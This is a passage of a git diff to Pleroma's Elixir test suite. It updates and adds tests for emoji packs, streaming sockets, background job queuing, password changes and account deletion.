+ assert File.exists?("#{@emoji_dir_path}/test_pack/dir_2/blank_3.png")
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), %{
+ "action" => "remove",
+ "shortcode" => "blank_3"
+ })
+ |> json_response(200) == %{"blank" => "blank.png"}
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack/dir_2/")
+
+ mock(fn
+ %{
+ method: :get,
+ url: "https://test-blank/blank_url.png"
+ } ->
+ text(File.read!("#{@emoji_dir_path}/test_pack/blank.png"))
+ end)
+
+ # The name should be inferred from the URL ending
+ from_url = %{
+ "action" => "add",
+ "shortcode" => "blank_url",
+ "file" => "https://test-blank/blank_url.png"
+ }
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), from_url)
+ |> json_response(200) == %{
+ "blank" => "blank.png",
+ "blank_url" => "blank_url.png"
+ }
+
+ assert File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png")
+
+ assert conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), %{
+ "action" => "remove",
+ "shortcode" => "blank_url"
+ })
+ |> json_response(200) == %{"blank" => "blank.png"}
+
+ refute File.exists?("#{@emoji_dir_path}/test_pack/blank_url.png")
+ end
+
+ test "creating and deleting a pack" do
+ on_exit(fn ->
+ File.rm_rf!("#{@emoji_dir_path}/test_created")
+ end)
+
+ admin = insert(:user, info: %{is_admin: true})
+
+ conn = build_conn() |> assign(:user, admin)
+
+ assert conn
+ |> put_req_header("content-type", "application/json")
+ |> put(
+ emoji_api_path(
+ conn,
+ :create,
+ "test_created"
+ )
+ )
+ |> json_response(200) == "ok"
+
+ assert File.exists?("#{@emoji_dir_path}/test_created/pack.json")
+
+ assert Jason.decode!(File.read!("#{@emoji_dir_path}/test_created/pack.json")) == %{
+ "pack" => %{},
+ "files" => %{}
+ }
+
+ assert conn
+ |> delete(emoji_api_path(conn, :delete, "test_created"))
+ |> json_response(200) == "ok"
+
+ refute File.exists?("#{@emoji_dir_path}/test_created/pack.json")
+ end
+
+ test "filesystem import" do
+ on_exit(fn ->
+ File.rm!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt")
+ File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json")
+ end)
+
+ conn = build_conn()
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ refute Map.has_key?(resp, "test_pack_for_import")
+
+ admin = insert(:user, info: %{is_admin: true})
+
+ assert conn
+ |> assign(:user, admin)
+ |> post(emoji_api_path(conn, :import_from_fs))
+ |> json_response(200) == ["test_pack_for_import"]
+
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+ assert resp["test_pack_for_import"]["files"] == %{"blank" => "blank.png"}
+
+ File.rm!("#{@emoji_dir_path}/test_pack_for_import/pack.json")
+ refute File.exists?("#{@emoji_dir_path}/test_pack_for_import/pack.json")
+
+ emoji_txt_content = "blank, blank.png, Fun\n\nblank2, blank.png"
+
+ File.write!("#{@emoji_dir_path}/test_pack_for_import/emoji.txt", emoji_txt_content)
+
+ assert conn
+ |> assign(:user, admin)
+ |> post(emoji_api_path(conn, :import_from_fs))
+ |> json_response(200) == ["test_pack_for_import"]
+
+ resp = conn |> get(emoji_api_path(conn, :list_packs)) |> json_response(200)
+
+ assert resp["test_pack_for_import"]["files"] == %{
+ "blank" => "blank.png",
+ "blank2" => "blank.png"
+ }
+ end
+end
diff --git a/test/web/plugs/federating_plug_test.exs b/test/web/plugs/federating_plug_test.exs
index bb2e1687a..9dcab93da 100644
--- a/test/web/plugs/federating_plug_test.exs
+++ b/test/web/plugs/federating_plug_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.FederatingPlugTest do
diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs
index e2f89f40a..2f6ce4bd2 100644
--- a/test/web/push/impl_test.exs
+++ b/test/web/push/impl_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Push.ImplTest do
diff --git a/test/web/retry_queue_test.exs b/test/web/retry_queue_test.exs
deleted file mode 100644
index ecb3ce5d0..000000000
--- a/test/web/retry_queue_test.exs
+++ /dev/null
@@ -1,48 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule MockActivityPub do
- def publish_one({ret, waiter}) do
- send(waiter, :complete)
- {ret, "success"}
- end
-end
-
-defmodule Pleroma.Web.Federator.RetryQueueTest do
- use Pleroma.DataCase
- alias Pleroma.Web.Federator.RetryQueue
-
- @small_retry_count 0
- @hopeless_retry_count 10
-
- setup do
- RetryQueue.reset_stats()
- end
-
- test "RetryQueue responds to stats request" do
- assert %{delivered: 0, dropped: 0} == RetryQueue.get_stats()
- end
-
- test "failed posts are retried" do
- {:retry, _timeout} = RetryQueue.get_retry_params(@small_retry_count)
-
- wait_task =
- Task.async(fn ->
- receive do
- :complete -> :ok
- end
- end)
-
- RetryQueue.enqueue({:ok, wait_task.pid}, MockActivityPub, @small_retry_count)
- Task.await(wait_task)
- assert %{delivered: 1, dropped: 0} == RetryQueue.get_stats()
- end
-
- test "posts that have been tried too many times are dropped" do
- {:drop, _timeout} = RetryQueue.get_retry_params(@hopeless_retry_count)
-
- RetryQueue.enqueue({:ok, nil}, MockActivityPub, @hopeless_retry_count)
- assert %{delivered: 0, dropped: 1} == RetryQueue.get_stats()
- end
-end
diff --git a/test/web/salmon/salmon_test.exs b/test/web/salmon/salmon_test.exs
index e86e76fe9..153ec41ac 100644
--- a/test/web/salmon/salmon_test.exs
+++ b/test/web/salmon/salmon_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Salmon.SalmonTest do
@@ -96,6 +96,6 @@ defmodule Pleroma.Web.Salmon.SalmonTest do
Salmon.publish(user, activity)
- assert called(Publisher.enqueue_one(Salmon, %{recipient: mentioned_user}))
+ assert called(Publisher.enqueue_one(Salmon, %{recipient_id: mentioned_user.id}))
end
end
diff --git a/test/web/streamer/ping_test.exs b/test/web/streamer/ping_test.exs
new file mode 100644
index 000000000..3d52c00e4
--- /dev/null
+++ b/test/web/streamer/ping_test.exs
@@ -0,0 +1,36 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.PingTest do
+ use Pleroma.DataCase
+
+ import Pleroma.Factory
+ alias Pleroma.Web.Streamer
+
+ setup do
+ start_supervised({Streamer.supervisor(), [ping_interval: 30]})
+
+ :ok
+ end
+
+ describe "sockets" do
+ setup do
+ user = insert(:user)
+ {:ok, %{user: user}}
+ end
+
+ test "it sends pings", %{user: user} do
+ task =
+ Task.async(fn ->
+ assert_receive {:text, received_event}, 40
+ assert_receive {:text, received_event}, 40
+ assert_receive {:text, received_event}, 40
+ end)
+
+ Streamer.add_socket("public", %{transport_pid: task.pid, assigns: %{user: user}})
+
+ Task.await(task)
+ end
+ end
+end
diff --git a/test/web/streamer/state_test.exs b/test/web/streamer/state_test.exs
new file mode 100644
index 000000000..d1aeac541
--- /dev/null
+++ b/test/web/streamer/state_test.exs
@@ -0,0 +1,54 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.StateTest do
+ use Pleroma.DataCase
+
+ import Pleroma.Factory
+ alias Pleroma.Web.Streamer
+ alias Pleroma.Web.Streamer.StreamerSocket
+
+ @moduletag needs_streamer: true
+
+ describe "sockets" do
+ setup do
+ user = insert(:user)
+ user2 = insert(:user)
+ {:ok, %{user: user, user2: user2}}
+ end
+
+ test "it can add a socket", %{user: user} do
+ Streamer.add_socket("public", %{transport_pid: 1, assigns: %{user: user}})
+
+ assert(%{"public" => [%StreamerSocket{transport_pid: 1}]} = Streamer.get_sockets())
+ end
+
+ test "it can add multiple sockets per user", %{user: user} do
+ Streamer.add_socket("public", %{transport_pid: 1, assigns: %{user: user}})
+ Streamer.add_socket("public", %{transport_pid: 2, assigns: %{user: user}})
+
+ assert(
+ %{
+ "public" => [
+ %StreamerSocket{transport_pid: 2},
+ %StreamerSocket{transport_pid: 1}
+ ]
+ } = Streamer.get_sockets()
+ )
+ end
+
+ test "it will not add a duplicate socket", %{user: user} do
+ Streamer.add_socket("activity", %{transport_pid: 1, assigns: %{user: user}})
+ Streamer.add_socket("activity", %{transport_pid: 1, assigns: %{user: user}})
+
+ assert(
+ %{
+ "activity" => [
+ %StreamerSocket{transport_pid: 1}
+ ]
+ } = Streamer.get_sockets()
+ )
+ end
+ end
+end
diff --git a/test/web/streamer_test.exs b/test/web/streamer/streamer_test.exs
index 96fa7645f..b8fcd41fa 100644
--- a/test/web/streamer_test.exs
+++ b/test/web/streamer/streamer_test.exs
@@ -1,28 +1,24 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.StreamerTest do
use Pleroma.DataCase
+ import Pleroma.Factory
+
alias Pleroma.List
alias Pleroma.User
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.Streamer
- import Pleroma.Factory
+ alias Pleroma.Web.Streamer.StreamerSocket
+ alias Pleroma.Web.Streamer.Worker
+ @moduletag needs_streamer: true
clear_config_all([:instance, :skip_thread_containment])
describe "user streams" do
setup do
- GenServer.start(Streamer, %{}, name: Streamer)
-
- on_exit(fn ->
- if pid = Process.whereis(Streamer) do
- Process.exit(pid, :kill)
- end
- end)
-
user = insert(:user)
notify = insert(:notification, user: user, activity: build(:note_activity))
{:ok, %{user: user, notify: notify}}
@@ -125,11 +121,9 @@ defmodule Pleroma.Web.StreamerTest do
assert_receive {:text, _}, 4_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user
- }
+ user: user
}
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "Test"})
@@ -138,7 +132,7 @@ defmodule Pleroma.Web.StreamerTest do
"public" => [fake_socket]
}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
@@ -155,11 +149,9 @@ defmodule Pleroma.Web.StreamerTest do
assert received_event == expected_event
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user
- }
+ user: user
}
{:ok, activity} = CommonAPI.delete(activity.id, other_user)
@@ -168,7 +160,7 @@ defmodule Pleroma.Web.StreamerTest do
"public" => [fake_socket]
}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
end
@@ -189,9 +181,9 @@ defmodule Pleroma.Web.StreamerTest do
)
task = Task.async(fn -> refute_receive {:text, _}, 1_000 end)
- fake_socket = %{transport_pid: task.pid, assigns: %{user: user}}
+ fake_socket = %StreamerSocket{transport_pid: task.pid, user: user}
topics = %{"public" => [fake_socket]}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
end
@@ -211,9 +203,9 @@ defmodule Pleroma.Web.StreamerTest do
)
task = Task.async(fn -> assert_receive {:text, _}, 1_000 end)
- fake_socket = %{transport_pid: task.pid, assigns: %{user: user}}
+ fake_socket = %StreamerSocket{transport_pid: task.pid, user: user}
topics = %{"public" => [fake_socket]}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
end
@@ -233,9 +225,9 @@ defmodule Pleroma.Web.StreamerTest do
)
task = Task.async(fn -> assert_receive {:text, _}, 1_000 end)
- fake_socket = %{transport_pid: task.pid, assigns: %{user: user}}
+ fake_socket = %StreamerSocket{transport_pid: task.pid, user: user}
topics = %{"public" => [fake_socket]}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
end
@@ -251,11 +243,9 @@ defmodule Pleroma.Web.StreamerTest do
refute_receive {:text, _}, 1_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user
- }
+ user: user
}
{:ok, activity} = CommonAPI.post(blocked_user, %{"status" => "Test"})
@@ -264,7 +254,7 @@ defmodule Pleroma.Web.StreamerTest do
"public" => [fake_socket]
}
- Streamer.push_to_socket(topics, "public", activity)
+ Worker.push_to_socket(topics, "public", activity)
Task.await(task)
end
@@ -284,11 +274,9 @@ defmodule Pleroma.Web.StreamerTest do
refute_receive {:text, _}, 1_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user_a
- }
+ user: user_a
}
{:ok, activity} =
@@ -301,7 +289,7 @@ defmodule Pleroma.Web.StreamerTest do
"list:#{list.id}" => [fake_socket]
}
- Streamer.handle_cast(%{action: :stream, topic: "list", item: activity}, topics)
+ Worker.handle_call({:stream, "list", activity}, self(), topics)
Task.await(task)
end
@@ -318,11 +306,9 @@ defmodule Pleroma.Web.StreamerTest do
refute_receive {:text, _}, 1_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user_a
- }
+ user: user_a
}
{:ok, activity} =
@@ -335,12 +321,12 @@ defmodule Pleroma.Web.StreamerTest do
"list:#{list.id}" => [fake_socket]
}
- Streamer.handle_cast(%{action: :stream, topic: "list", item: activity}, topics)
+ Worker.handle_call({:stream, "list", activity}, self(), topics)
Task.await(task)
end
- test "it send wanted private posts to list" do
+ test "it sends wanted private posts to list" do
user_a = insert(:user)
user_b = insert(:user)
@@ -354,11 +340,9 @@ defmodule Pleroma.Web.StreamerTest do
assert_receive {:text, _}, 1_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user_a
- }
+ user: user_a
}
{:ok, activity} =
@@ -367,11 +351,12 @@ defmodule Pleroma.Web.StreamerTest do
"visibility" => "private"
})
- topics = %{
- "list:#{list.id}" => [fake_socket]
- }
+ Streamer.add_socket(
+ "list:#{list.id}",
+ fake_socket
+ )
- Streamer.handle_cast(%{action: :stream, topic: "list", item: activity}, topics)
+ Worker.handle_call({:stream, "list", activity}, self(), %{})
Task.await(task)
end
@@ -387,11 +372,9 @@ defmodule Pleroma.Web.StreamerTest do
refute_receive {:text, _}, 1_000
end)
- fake_socket = %{
+ fake_socket = %StreamerSocket{
transport_pid: task.pid,
- assigns: %{
- user: user1
- }
+ user: user1
}
{:ok, create_activity} = CommonAPI.post(user3, %{"status" => "I'm kawen"})
@@ -401,7 +384,7 @@ defmodule Pleroma.Web.StreamerTest do
"public" => [fake_socket]
}
- Streamer.push_to_socket(topics, "public", announce_activity)
+ Worker.push_to_socket(topics, "public", announce_activity)
Task.await(task)
end
@@ -417,6 +400,8 @@ defmodule Pleroma.Web.StreamerTest do
task = Task.async(fn -> refute_receive {:text, _}, 4_000 end)
+ Process.sleep(4000)
+
Streamer.add_socket(
"user",
%{transport_pid: task.pid, assigns: %{user: user2}}
@@ -428,14 +413,6 @@ defmodule Pleroma.Web.StreamerTest do
describe "direct streams" do
setup do
- GenServer.start(Streamer, %{}, name: Streamer)
-
- on_exit(fn ->
- if pid = Process.whereis(Streamer) do
- Process.exit(pid, :kill)
- end
- end)
-
:ok
end
@@ -480,6 +457,8 @@ defmodule Pleroma.Web.StreamerTest do
refute_receive {:text, _}, 4_000
end)
+ Process.sleep(1000)
+
Streamer.add_socket(
"direct",
%{transport_pid: task.pid, assigns: %{user: user}}
@@ -521,6 +500,8 @@ defmodule Pleroma.Web.StreamerTest do
assert last_status["id"] == to_string(create_activity.id)
end)
+ Process.sleep(1000)
+
Streamer.add_socket(
"direct",
%{transport_pid: task.pid, assigns: %{user: user}}
diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs
index 3a7246ea8..dc6d4e3e3 100644
--- a/test/web/twitter_api/password_controller_test.exs
+++ b/test/web/twitter_api/password_controller_test.exs
@@ -6,6 +6,7 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.PasswordResetToken
+ alias Pleroma.User
alias Pleroma.Web.OAuth.Token
import Pleroma.Factory
@@ -56,5 +57,25 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do
assert Comeonin.Pbkdf2.checkpw("test", user.password_hash)
assert length(Token.get_user_tokens(user)) == 0
end
+
+ test "it sets password_reset_pending to false", %{conn: conn} do
+ user = insert(:user, info: %{password_reset_pending: true})
+
+ {:ok, token} = PasswordResetToken.create_token(user)
+ {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{})
+
+ params = %{
+ "password" => "test",
+ password_confirmation: "test",
+ token: token.token
+ }
+
+ conn
+ |> assign(:user, user)
+ |> post("/api/pleroma/password_reset", %{data: params})
+ |> html_response(:ok)
+
+ assert User.get_by_id(user.id).info.password_reset_pending == false
+ end
end
end
diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs
index c5b18234e..bf1e233f5 100644
--- a/test/web/twitter_api/twitter_api_test.exs
+++ b/test/web/twitter_api/twitter_api_test.exs
@@ -1,10 +1,11 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
use Pleroma.DataCase
alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.UserInviteToken
alias Pleroma.Web.MastodonAPI.AccountView
@@ -68,6 +69,7 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
}
{:ok, user} = TwitterAPI.register_user(data)
+ ObanHelpers.perform_all()
assert user.info.confirmation_pending
@@ -107,7 +109,9 @@ defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do
{:ok, user2} = TwitterAPI.register_user(data2)
expected_text =
- "<span class='h-card'><a data-user='#{user1.id}' class='u-url mention' href='#{user1.ap_id}'>@<span>john</span></a></span> test"
+ ~s(<span class="h-card"><a data-user="#{user1.id}" class="u-url mention" href="#{
+ user1.ap_id
+ }" rel="ugc">@<span>john</span></a></span> test)
assert user2.bio == expected_text
end
diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs
index a3c6145c0..56e318182 100644
--- a/test/web/twitter_api/util_controller_test.exs
+++ b/test/web/twitter_api/util_controller_test.exs
@@ -4,10 +4,13 @@
defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
use Pleroma.Web.ConnCase
+ use Oban.Testing, repo: Pleroma.Repo
alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.CommonAPI
+ import ExUnit.CaptureLog
import Pleroma.Factory
import Mock
@@ -42,8 +45,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
{File, [],
read!: fn "follow_list.txt" ->
"Account address,Show boosts\n#{user2.ap_id},true"
- end},
- {PleromaJobQueue, [:passthrough], []}
+ end}
]) do
response =
conn
@@ -51,15 +53,16 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
|> post("/api/pleroma/follow_import", %{"list" => %Plug.Upload{path: "follow_list.txt"}})
|> json_response(:ok)
- assert called(
- PleromaJobQueue.enqueue(
- :background,
- User,
- [:follow_import, user1, [user2.ap_id]]
- )
- )
-
assert response == "job started"
+
+ assert ObanHelpers.member?(
+ %{
+ "op" => "follow_import",
+ "follower_id" => user1.id,
+ "followed_identifiers" => [user2.ap_id]
+ },
+ all_enqueued(worker: Pleroma.Workers.BackgroundWorker)
+ )
end
end
@@ -118,8 +121,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
user3 = insert(:user)
with_mocks([
- {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end},
- {PleromaJobQueue, [:passthrough], []}
+ {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end}
]) do
response =
conn
@@ -127,15 +129,16 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
|> post("/api/pleroma/blocks_import", %{"list" => %Plug.Upload{path: "blocks_list.txt"}})
|> json_response(:ok)
- assert called(
- PleromaJobQueue.enqueue(
- :background,
- User,
- [:blocks_import, user1, [user2.ap_id, user3.ap_id]]
- )
- )
-
assert response == "job started"
+
+ assert ObanHelpers.member?(
+ %{
+ "op" => "blocks_import",
+ "blocker_id" => user1.id,
+ "blocked_identifiers" => [user2.ap_id, user3.ap_id]
+ },
+ all_enqueued(worker: Pleroma.Workers.BackgroundWorker)
+ )
end
end
end
@@ -338,12 +341,14 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
test "show follow page with error when user cannot fecth by `acct` link", %{conn: conn} do
user = insert(:user)
- response =
- conn
- |> assign(:user, user)
- |> get("/ostatus_subscribe?acct=https://mastodon.social/users/not_found")
+ assert capture_log(fn ->
+ response =
+ conn
+ |> assign(:user, user)
+ |> get("/ostatus_subscribe?acct=https://mastodon.social/users/not_found")
- assert html_response(response, 200) =~ "Error fetching user"
+ assert html_response(response, 200) =~ "Error fetching user"
+ end) =~ "Object has been deleted"
end
end
@@ -557,6 +562,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
|> json_response(:ok)
assert response == %{"status" => "success"}
+ ObanHelpers.perform_all()
user = User.get_cached_by_id(user.id)
@@ -769,4 +775,109 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do
assert json_response(conn, 200) == %{"status" => "success"}
end
end
+
+ describe "POST /api/pleroma/change_password" do
+ setup [:valid_user]
+
+ test "without credentials", %{conn: conn} do
+ conn = post(conn, "/api/pleroma/change_password")
+ assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
+ end
+
+ test "with credentials and invalid password", %{conn: conn, user: current_user} do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/change_password", %{
+ "password" => "hi",
+ "new_password" => "newpass",
+ "new_password_confirmation" => "newpass"
+ })
+
+ assert json_response(conn, 200) == %{"error" => "Invalid password."}
+ end
+
+ test "with credentials, valid password and new password and confirmation not matching", %{
+ conn: conn,
+ user: current_user
+ } do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/change_password", %{
+ "password" => "test",
+ "new_password" => "newpass",
+ "new_password_confirmation" => "notnewpass"
+ })
+
+ assert json_response(conn, 200) == %{
+ "error" => "New password does not match confirmation."
+ }
+ end
+
+ test "with credentials, valid password and invalid new password", %{
+ conn: conn,
+ user: current_user
+ } do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/change_password", %{
+ "password" => "test",
+ "new_password" => "",
+ "new_password_confirmation" => ""
+ })
+
+ assert json_response(conn, 200) == %{
+ "error" => "New password can't be blank."
+ }
+ end
+
+ test "with credentials, valid password and matching new password and confirmation", %{
+ conn: conn,
+ user: current_user
+ } do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/change_password", %{
+ "password" => "test",
+ "new_password" => "newpass",
+ "new_password_confirmation" => "newpass"
+ })
+
+ assert json_response(conn, 200) == %{"status" => "success"}
+ fetched_user = User.get_cached_by_id(current_user.id)
+ assert Comeonin.Pbkdf2.checkpw("newpass", fetched_user.password_hash) == true
+ end
+ end
+
+ describe "POST /api/pleroma/delete_account" do
+ setup [:valid_user]
+
+ test "without credentials", %{conn: conn} do
+ conn = post(conn, "/api/pleroma/delete_account")
+ assert json_response(conn, 403) == %{"error" => "Invalid credentials."}
+ end
+
+ test "with credentials and invalid password", %{conn: conn, user: current_user} do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/delete_account", %{"password" => "hi"})
+
+ assert json_response(conn, 200) == %{"error" => "Invalid password."}
+ end
+
+ test "with credentials and valid password", %{conn: conn, user: current_user} do
+ conn =
+ conn
+ |> with_credentials(current_user.nickname, "test")
+ |> post("/api/pleroma/delete_account", %{"password" => "test"})
+
+ assert json_response(conn, 200) == %{"status" => "success"}
+ # Wait a second for the started task to end
+ :timer.sleep(1000)
+ end
+ end
end
diff --git a/test/web/uploader_controller_test.exs b/test/web/uploader_controller_test.exs
index 70028df1c..7c7f9a6ea 100644
--- a/test/web/uploader_controller_test.exs
+++ b/test/web/uploader_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.UploaderControllerTest do
diff --git a/test/web/views/error_view_test.exs b/test/web/views/error_view_test.exs
index 3857d585f..4e5398c83 100644
--- a/test/web/views/error_view_test.exs
+++ b/test/web/views/error_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ErrorViewTest do
diff --git a/test/web/web_finger/web_finger_controller_test.exs b/test/web/web_finger/web_finger_controller_test.exs
index e23086b2a..49cd1460b 100644
--- a/test/web/web_finger/web_finger_controller_test.exs
+++ b/test/web/web_finger/web_finger_controller_test.exs
@@ -1,10 +1,11 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do
use Pleroma.Web.ConnCase
+ import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
@@ -75,11 +76,13 @@ defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do
test "Sends a 404 when invalid format" do
user = insert(:user)
- assert_raise Phoenix.NotAcceptableError, fn ->
- build_conn()
- |> put_req_header("accept", "text/html")
- |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost")
- end
+ assert capture_log(fn ->
+ assert_raise Phoenix.NotAcceptableError, fn ->
+ build_conn()
+ |> put_req_header("accept", "text/html")
+ |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost")
+ end
+ end) =~ "no supported media type in accept header"
end
test "Sends a 400 when resource param is missing" do
diff --git a/test/web/web_finger/web_finger_test.exs b/test/web/web_finger/web_finger_test.exs
index 8fdb9adea..696c1bd70 100644
--- a/test/web/web_finger/web_finger_test.exs
+++ b/test/web/web_finger/web_finger_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebFingerTest do
diff --git a/test/web/websub/websub_controller_test.exs b/test/web/websub/websub_controller_test.exs
index 59cacbe68..f6d002b3b 100644
--- a/test/web/websub/websub_controller_test.exs
+++ b/test/web/websub/websub_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Websub.WebsubControllerTest do
diff --git a/test/web/websub/websub_test.exs b/test/web/websub/websub_test.exs
index 74386d7db..46ca545de 100644
--- a/test/web/websub/websub_test.exs
+++ b/test/web/websub/websub_test.exs
@@ -1,14 +1,17 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.WebsubTest do
use Pleroma.DataCase
+ use Oban.Testing, repo: Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.Web.Router.Helpers
alias Pleroma.Web.Websub
alias Pleroma.Web.Websub.WebsubClientSubscription
alias Pleroma.Web.Websub.WebsubServerSubscription
+ alias Pleroma.Workers.SubscriberWorker
import Pleroma.Factory
import Tesla.Mock
@@ -224,6 +227,7 @@ defmodule Pleroma.Web.WebsubTest do
})
_refresh = Websub.refresh_subscriptions()
+ ObanHelpers.perform(all_enqueued(worker: SubscriberWorker))
assert still_good == Repo.get(WebsubClientSubscription, still_good.id)
refute needs_refresh == Repo.get(WebsubClientSubscription, needs_refresh.id)